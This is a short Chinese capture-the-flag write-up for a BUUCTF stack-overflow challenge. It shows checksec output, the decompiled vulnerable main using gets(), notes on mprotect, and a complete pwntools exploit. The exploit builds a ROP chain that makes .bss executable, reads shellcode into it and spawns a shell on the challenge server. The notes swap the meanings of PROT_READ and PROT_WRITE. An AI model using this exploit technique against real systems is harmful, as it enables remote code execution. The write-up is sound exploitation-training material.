这题是buu上的一道简单的栈溢出,这次我直接写shellcode。

1.日常checksec

1
2
3
4
5
6
7
8
tianmai@ubuntu:~/Desktop/buuctf$ checksec get1
[*] '/home/tianmai/Desktop/buuctf/get1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

发现是32位,进开启了堆栈不可执行。

2.IDA

主函数是

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}

3.利用mprotect函数

1
2
3
4
5
6
7
8
9
10
11
12
原型:
int mprotect(const void *start, size_t len, int prot)
start:需改写属性的内存中开始地址
len:需改写属性的内存长度
prot:需要修改为的指定值

功能: mprotect()函数可以用来修改一段指定内存区域的保护属性。 他把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 prot可以取以下几个值:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
注意:指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,即4K对齐

4.exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import*
r=remote('node3.buuoj.cn','27286')

elf=ELF('./get1')
bss_addr=0x80ec000#gdb get1/b main/r/vmmap
mprotect_len=0x1000
mprotect_prot=0x7#prot=7 rw-p

pop3_ret=0x080509a5#ROPgadget --binary get1 --only 'pop|ret' | grep pop


mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']

p='a'*0x38
p+=p32(mprotect_addr) #ret

p+=p32(pop3_ret)

p+=p32(bss_addr) #pop
p+=p32(mprotect_len) #pop
p+=p32(mprotect_prot) #pop

p+=p32(read_addr) #ret

p+=p32(pop3_ret)

p+=p32(0) #pop
p+=p32(bss_addr) #pop
p+=p32(0x100) #pop

p+=p32(bss_addr) #ret

r.sendline(p)
p=asm(shellcraft.sh()) #shellcode
r.sendline(p)
r.interactive()

over